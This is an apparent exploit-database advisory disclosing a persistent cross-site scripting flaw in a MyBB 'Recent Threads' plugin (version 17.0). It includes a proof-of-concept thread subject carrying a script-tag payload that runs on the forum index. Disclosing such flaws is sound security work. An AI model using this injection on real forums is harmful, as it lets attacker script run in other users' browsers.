MyBB Recent Threads On Index 17.0 Cross Site Scripting

2018.04.10
Credit: Perileos
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: MyBB Recent threads # Date: 4th April 2018 # Exploit Author: Perileos # Software Link: https://community.mybb.com/mods.php?action=view&pid=191 # Version: 17.0 # Tested on: Windows 10 1. Description: This plugin shows recent threads in the side bar on your MyBB forum. 2. Proof of concept: Persistent XSS - Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>"> - Navigate to the index to see a board wide persistent XSS alert.


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